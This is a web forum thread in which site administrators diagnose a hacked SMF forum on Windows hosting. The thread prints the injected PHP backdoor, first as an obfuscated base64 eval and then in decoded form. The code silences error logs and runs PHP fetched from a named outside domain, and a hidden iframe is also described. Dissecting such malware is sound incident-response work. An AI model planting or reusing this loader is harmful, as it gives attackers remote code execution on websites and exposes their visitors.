base64 hack

[Sir Osis of Liver]

One of my guys has been hacked twice in the past month.  Base64 code in all index.php and some of the /Sources files.  Odd thing about it, when I tried to delete the entire forum, /forums/Themes/default/fonts/Screenge.ttf would not delete.  Filezilla was telling me file was in use, and could not delete or rename any of the subdirs above it.  Permissions of all files were blank in FZ, and showed as 'xxx' when checking individual files - that appeared to be server problem.  Was able to reset permissions to 755 and delete the file.  Same thing happened a month ago.

Has anyone else seen this?

[Lout]

Similar thing regarding base64 reported here - http://www.simplemachines.org/community/index.php?topic=480455.0

You might want to contact the thread creator to compare notes.

[busterone]

Yea, he had only one that I know of, but it was also in the index.php in the /Themes folder.  He hasn't posted back yet on the results of checking all his files, so there could be more on his as well.

[JBlaze]

Would there happen to be a wordpress installation on the same server? Is it shared hosting? There are a few exploits out there for non-updated versions of WordPress that could cause this.

http://www.dotblag.com/2012/03/12/wordpress-blog-infections/
http://secunia.com/advisories/49327/

[Sir Osis of Liver]

The account is running on GoDaddy, and there's no Wordpress install, just a website running above the forum.  We're seeing this in all index.php files and some /Sources/ files -

Code Select Expand



<?php /*68066*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKJHozNz0ic3RhdHMiOwokdWEzPSRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXTsKJHUzNyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIiwgIk1hYyIsICJpbnV4IiwgIlgxMSIpOwppZigocHJlZ19tYXRjaCgiLyIgLiBpbXBsb2RlKCJ8IiwgJHUzNykgLiAiL2kiLCAkdWEzKSkgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSkgPT0wKSAgb3IgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgIG9yIChpc3NldCgkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pID09MCkgKQp7fQplbHNlCnsKQHNldGNvb2tpZSgkejM3LG1kNSgic3RhdHMiKSx0aW1lKCkrMTcyODAwKTsKJHVybCA9ICJodHRwOi8vNDA0MGVudC5jb20vc2Vzc2lvbi5waHA/aWQiOwokaWZyYW1lPUBldmFsKGZpbGVfZ2V0X2NvbnRlbnRzICgkdXJsKSk7CmlmICgkaWZyYW1lKSBlY2hvKCRpZnJhbWUpOyAKfQoK'));/*68066*/ ?><?php

// Try to handle it with the upper level index.php. (it should know what to do.)
if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))
include (dirname(dirname(__FILE__)) . '/index.php');
else
exit;

?>



Something's happening with Screenge.ttf - it's a legit .ttf file, but when the forum is hacked., it doesn't allow itself to be deleted, and shows as a running process in FZ.  Same thing twice now, a month apart.  I'm a little creeped out about d/ling the file to my computer and looking in it. 

[gamesmad]

This reply attempts to assess what this attack is actually doing, and as such contains links to bad sites that could (and probably do) contain malware.  Do not click the links unless you know what you are doing.  I am not responsible for any problems you may have.

The code can be unscrambled to this -

Code Select Expand

<?php
/*68066*/
error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('display_errors','Off');
error_reporting(0);
set_time_limit(0);
$z37="stats";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Mac", "inux", "X11");
if(
(preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_SERVER["HTTP_REFERER"]) ==0) or (isset($_SERVER["HTTP_COOKIE"])) or (isset($_SERVER["HTTP_USER_AGENT"]) ==0)) {
} else {
@setcookie($z37,md5("stats"),time()+172800);
$url = "http://4040ent.com/session.php?id";
$iframe=@eval(file_get_contents ($url));
if ($iframe) echo($iframe);
}
/*68066*/
?>
<?php
// Try to handle it with the upper level index.php. (it should know what to do.)
if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))
include (dirname(dirname(__FILE__)) . '/index.php');
else
exit;
?>


I'll now try and break it down but this is only my best guess so if anyone else knows better then please correct me.  Explanations are just above each code snippet.



This looks like a unique reference, so that the attacker can track which hacks have worked and which haven't.

Code Select Expand

/*68066*/



This section is turning off visual error reporting, and also error logging, an attempt to avoid detection I assume.

Code Select Expand

error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('display_errors','Off');
error_reporting(0);
set_time_limit(0);



Here there are a couple of variables being setup.  $_SERVER["HTTP_USER_AGENT"] is a PHP variable that (in simple terms) contains the name of the browser that is being used to view the page.

For example "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13" would be the value if you were using Google Chrome on Windows XP.

Importantly, Google and other search engines will set this value to make it clear it was them visiting, for example "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" is Googlebot.

This brings us on to the array, which seems to list search engines.

Code Select Expand

$z37="stats";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Mac", "inux", "X11");



This bit is quite complicated, but basically it is checking whether the page visitor is a search engine or not.  If the visitor is a search engine then it displays the contents of the page "http://4040ent.com/session.php?id", which is -

Code Select Expand

<iframe src="http://directs39.in/in.cgi?55764" width="1" height="1" frameborder="0"></iframe>

Which is a 1 x 1 iframe of the page http://directs39.in/in.cgi?55764.

It also sets a cookie called "stats".

Code Select Expand

if(
(preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_SERVER["HTTP_REFERER"]) ==0) or (isset($_SERVER["HTTP_COOKIE"])) or (isset($_SERVER["HTTP_USER_AGENT"]) ==0)) {
} else {
@setcookie($z37,md5("stats"),time()+172800);
$url = "http://4040ent.com/session.php?id";
$iframe=@eval(file_get_contents ($url));
if ($iframe) echo($iframe);
}



That seems to be where the trail runs out because visiting the page "http://directs39.in/in.cgi?55764" redirects to Google, however the attack is complicated so it could redirect to another site if the iframe is viewed from a site that has been attacked.  As I said, this is where the trail runs out for me, but that is most likely due to my limited knowledge.

Visiting "http://directs39.in/" takes you to a page with 2 login options, one for a user, and one for bos (back office system?).  The page title is "traffic index".

This may not seem like it's actually doing anything, however to me this looks like it is gaming search engines by having the ability to control the content that a search engine spider downloads (when visiting your website!), while the site appears unchanged to normal users.  It is a hack to get backlinks to a site.  There is certainly more to it than I have covered here, probably tracking to pick up the cookie and something to control what is displayed instead of the "real" content, but I am stuck in terms of digging any deeper.

Put simply, you need to remove it from your sites.

[Sir Osis of Liver]

That's pretty much consistent with what we had. Forum was unaffected, nothing unusual in error log, no spam or redirects, users were just getting security alerts.

Is this an SMF vulnerability, or poor host security?

[Arantor]

Probably more the case that the files were left writable by the server itself, i.e. not the host's fault but the forum admin's fault for not securing the files after mods were installed - that's the reason for almost all of the 'I got hacked' reports here.

[Sir Osis of Liver]

That's the other problem.  When I look at this account in Filezilla, the permissions column is blank for all subdirs and files, right up to the root.   Checking individual file permissions, I see 'xxx'.  If I reset to 644 or 755, it doesn't change.  Same thing if I upload a new file.  Only happens on this account, my other GoDaddy forums display permissions normally.

[Arantor]

Sounds to me as though permission changes are blocked on that server via FTP.

[Sir Osis of Liver]

Will check into that with the host.

Thx.

[live627]

Could it possibly be a Windows server?

[Sir Osis of Liver]

I think GoDaddy runs Linux.  Will check when I have time tonight.

[Arantor]

They do have some Windows hosting too.

[Sir Osis of Liver]

Yep, it's Windows.  They're running on an NT box.

[Sir Osis of Liver]

Just a quick followup, in case someone with a similar problem searches up this thread -

From GoDaddy support:

Thank you for contacting Online Support. I understand you are concerned about changing the permissions on the hosting plan using Filezilla. Reviewing the account, I am showing that you are using a Windows hosting plan. To modify the permissions you will need to use the FTP File Manager. If you wish to use an FTP client then you will need to change the hosting plan to a Linux hosting account.

My other GoDaddy accounts are running in Linux, and FZ works normally.

Right on, live627.

[nend]

Now the url in the base64 is showing some PHP code. I am guessing this code changes quite a bit in the other compromised server.